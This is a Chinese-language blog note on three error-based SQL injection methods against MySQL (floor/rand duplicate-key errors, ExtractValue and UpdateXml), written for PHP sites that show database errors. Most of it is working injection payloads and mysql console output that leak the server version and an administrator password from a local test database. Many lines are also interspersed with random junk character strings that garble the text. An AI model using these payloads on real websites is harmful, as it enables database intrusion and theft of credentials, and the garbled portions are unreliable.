关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
- w/ w6 h9 f9 D9 c4 w​

mysql> show tables;
/ ?$ s; L) u: _2 e2 k+ m+----------------+
| Tables_in_test |
+----------------+
| admin          |
| article        |
9 G* D0 Z' O6 o$ \+----------------+

4 C# q$ ~- z8 w7 I: A

mysql> describe admin;
  Y7 d% {, E% ^, I+-------+------------------+------+-----+---------+----------------+
5 x4 J, A8 a5 X$ v| Field | Type             | Null | Key | Default | Extra          |
- M' Z' P+ r, l' F+-------+------------------+------+-----+---------+----------------+
9 J3 j  c/ u" K, Q$ ^, I" f% l5 y1 K# || id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
; o. X) Q  t; d! f+ F| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+

# [5 q1 B! _4 p# B3 _8 P& x( a# C
1 C" x, J  B, o- |/ B0 R8 I) O
4 ]) s: a3 V* M- H% ~: x- }mysql> describe article;
% a' R! J( q" v5 u+---------+------------------+------+-----+---------+----------------+
6 k2 }, F( Q) `/ f4 c) X1 B| Field   | Type             | Null | Key | Default | Extra          |
/ y" H. y2 w, [, h* v- |+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
* M: }- k/ E; v! n. l/ h- J+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
. C" D- x" h* s& @! L0 H, i+ m可以通过如下一些利用代码
4 v7 n; V2 ^- ~7 \- Z0 j

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
+ j$ K. `9 f1 u) E, n$ Lgroup by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
: p! X  ?. p! X3 R| id | title | content |
' L: [0 r0 i+ Z0 f/ ?+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
4 t7 E) d* h' W/ c假如id输入存在注入的话，可以通过如下语句进行报错。


  @! X: U. M4 d$ b, nmysql> select * from article where id = 1 and (select 1 from
& t) \1 A* g& B- w3 i& J+ e( X% y(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
% J! Y5 V' R+ U/ v( v; KERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
1 j& {$ f8 K; }# O4 a0 z4 xfrom information_schema.tables group by x)a);
' |- @% @+ k! x2 c: X0 X2 R7 |ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
8 }$ ^( I6 S9 {8 E1 M$ i% U( QMethod2:

: J/ I/ u& m1 n1 x* w  s$ J
mysql> select * from article where id = 1 and (select count(*)
3 A) C; _! `( z. z0 ^from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
) r1 ~2 k9 ~  P' ~9 m. R2、ExtractValue
& p0 @* X$ D/ D! c; @) |  A3 W" i测试语句如下

* q8 Y1 X- b" Z6 d4 |
' o2 }" E1 s" A1 Land extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


' N2 o2 J8 i6 P+ Smysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
$ P% C7 G$ Y' Q. X/ S# H(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
: N/ ?5 d" e3 i( L0 M$ c7 X/ v3、UpdateXml
) f- e; F2 C) X1 Z6 e/ A# M测试语句


and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
* V" V' O2 c( X; Y; |% o实际测试过程

  @& j* x- c) }7 r" N
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
5 C( F% Y; H* Z5 G, N9 ^' Y( O* V(select pass from admin limit 1),0x5e24),1));
7 ?! Y0 A# f- @/ W! b* A! ?( TERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
% T- X6 \8 n: H# ?0 gAll, thanks foreign guys.

+ ]  @3 m  ?8 \. X- z* q​
% M% i' F3 v% u! |( Z3 w